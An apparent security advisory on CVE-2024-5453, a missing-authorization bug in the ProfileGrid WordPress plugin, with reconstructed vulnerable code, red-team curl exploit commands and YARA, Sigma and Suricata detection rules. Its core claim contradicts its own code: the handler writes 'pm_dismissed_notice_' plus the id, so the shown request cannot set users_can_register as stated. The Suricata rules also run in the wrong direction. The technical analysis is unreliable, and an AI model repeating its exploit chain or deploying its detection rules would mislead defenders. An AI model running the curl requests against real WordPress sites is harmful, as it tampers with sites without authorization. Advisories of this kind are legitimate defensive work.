CVE-2024-5453

Executive Summary

CVE-2024-5453 is a Missing Authorization vulnerability in the ProfileGrid – User Profiles, Groups and Communities WordPress plugin, affecting versions up to and including 5.8.6. The flaw resides in the pm_dismissible_notice and pm_wizard_update_group_icon AJAX functions, which lack proper capability checks. This allows authenticated attackers with Subscriber-level access or higher to arbitrarily modify WordPress options (setting them to the value '1') or change group icons without authorization.

The vulnerability is classified as WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The CVSS v3.1 base score is 4.3 (Medium), with a low attack complexity but requiring authentication. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a persistent risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, site administrators must consider removing or replacing the plugin. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users should monitor the plugin’s official page for updates and consider alternative community plugins if no patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Subscriber-level account
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – can change options to '1' or modify group icons
• Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited to low-integrity changes, the ability to modify arbitrary WordPress options (e.g., users_can_register, default_role) could be chained with other vulnerabilities for privilege escalation or site defacement.

Deep Dive & Mechanics

The vulnerability exists in two AJAX handlers within the ProfileGrid plugin:

1. pm_dismissible_notice: Intended to dismiss admin notices for users. The function lacks a current_user_can() check, allowing any authenticated user to call it. The function accepts a $_POST['notice_id'] parameter and updates the WordPress option pm_dismissed_notice_{notice_id} to '1'. By crafting a request with a malicious notice_id (e.g., users_can_register), an attacker can set arbitrary options to '1'.

2. pm_wizard_update_group_icon: Intended to update group icons during the setup wizard. It also lacks capability checks, allowing any authenticated user to change group icons for any group, including those they do not own or manage.

The core issue is CWE-862: Missing Authorization. The plugin does not verify that the user has the required capabilities (e.g., manage_options or edit_posts) before executing these actions.

Attack Scenario:

• An attacker registers a Subscriber account on a WordPress site running the vulnerable plugin.
• The attacker sends a POST request to /wp-admin/admin-ajax.php with action=pm_dismissible_notice and notice_id=users_can_register.
• The option users_can_register is set to '1', enabling open registration.
• The attacker can then register new accounts with elevated privileges if combined with other misconfigurations.

Vulnerable vs. Patched Code

Since no official patch is available, the following shows the vulnerable code and a hypothetical fix.

Vulnerable Code (profilegrid.php or similar):

add_action('wp_ajax_pm_dismissible_notice', 'pm_dismissible_notice');
function pm_dismissible_notice() {
    $notice_id = sanitize_text_field($_POST['notice_id']);
    update_option('pm_dismissed_notice_' . $notice_id, '1');
    wp_die();
}

add_action('wp_ajax_pm_wizard_update_group_icon', 'pm_wizard_update_group_icon');
function pm_wizard_update_group_icon() {
    // No capability check
    $group_id = intval($_POST['group_id']);
    $icon_url = esc_url_raw($_POST['icon_url']);
    update_group_icon($group_id, $icon_url);
    wp_die();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_pm_dismissible_notice', 'pm_dismissible_notice');
function pm_dismissible_notice() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $notice_id = sanitize_text_field($_POST['notice_id']);
    update_option('pm_dismissed_notice_' . $notice_id, '1');
    wp_die();
}

add_action('wp_ajax_pm_wizard_update_group_icon', 'pm_wizard_update_group_icon');
function pm_wizard_update_group_icon() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $group_id = intval($_POST['group_id']);
    $icon_url = esc_url_raw($_POST['icon_url']);
    update_group_icon($group_id, $icon_url);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with ProfileGrid plugin <= 5.8.6 installed and active.
• A valid Subscriber-level account (username: attacker, password: attacker123).

Step 1: Obtain Nonce (if required) Some WordPress AJAX actions require a nonce. Check the plugin source for wp_ajax_pm_dismissible_notice – if nonce is not enforced, skip this step.

Step 2: Exploit pm_dismissible_notice to change an option

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=pm_dismissible_notice&notice_id=users_can_register" \
  --cookie "wordpress_logged_in_<hash>=attacker|..."

This sets users_can_register to 1, enabling open registration.

Step 3: Exploit pm_wizard_update_group_icon to change a group icon

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=pm_wizard_update_group_icon&group_id=1&icon_url=https://evil.com/icon.png" \
  --cookie "wordpress_logged_in_<hash>=attacker|..."

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to /wp-admin/admin-ajax.php with action=pm_dismissible_notice or action=pm_wizard_update_group_icon from low-privilege users.
• Alert on changes to critical WordPress options (e.g., users_can_register, default_role, admin_email).

Hardening:

• Remove or disable the ProfileGrid plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block these AJAX actions for non-admin users.
• Use a plugin like "User Role Editor" to restrict Subscriber capabilities.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=pm_dismissible_notice and notice_id parameter.
  • POST requests to /wp-admin/admin-ajax.php with action=pm_wizard_update_group_icon and group_id parameter.
• File IOCs:
  • Modified WordPress options in wp_options table with names starting with pm_dismissed_notice_.
  • Unexpected group icon URLs in the pm_group_icon meta field.
• Log IOCs:
  • WordPress debug log entries showing AJAX calls from Subscriber users to these actions.

Detection Engineering

YARA Rule

rule CVE_2024_5453_ProfileGrid_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2024-5453 in ProfileGrid plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5453"
    strings:
        $ajax1 = "pm_dismissible_notice" ascii wide nocase
        $ajax2 = "pm_wizard_update_group_icon" ascii wide nocase
        $option_set = "notice_id=" ascii wide nocase
        $group_icon = "group_id=" ascii wide nocase
    condition:
        any of ($ajax*) and ($option_set or $group_icon)
}

Sigma Rule

title: CVE-2024-5453 ProfileGrid Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects AJAX requests exploiting missing capability checks in ProfileGrid plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'action=pm_dismissible_notice'
            - 'action=pm_wizard_update_group_icon'
    condition: selection
falsepositives:
    - Legitimate admin actions (if admin uses these functions)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5453 ProfileGrid Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pm_dismissible_notice"; http_client_body; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5453 ProfileGrid Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pm_wizard_update_group_icon"; http_client_body; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ProfileGrid plugin until a patch is released.
2. Review WordPress options for unauthorized changes (e.g., users_can_register, default_role).
3. Audit user accounts for unexpected Subscriber-level registrations.

Long-term Fix:

• The vendor must release a patched version (>= 5.8.7) that adds capability checks to both functions.
• As a workaround, add the following code to the theme's functions.php to block these actions for non-admins:

add_action('wp_ajax_pm_dismissible_notice', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
}, 1);
add_action('wp_ajax_pm_wizard_update_group_icon', function() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
}, 1);

Monitoring:

• Enable WordPress debug logging (WP_DEBUG_LOG) to capture AJAX requests.
• Use a security plugin (e.g., Wordfence) to monitor for unauthorized option changes.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert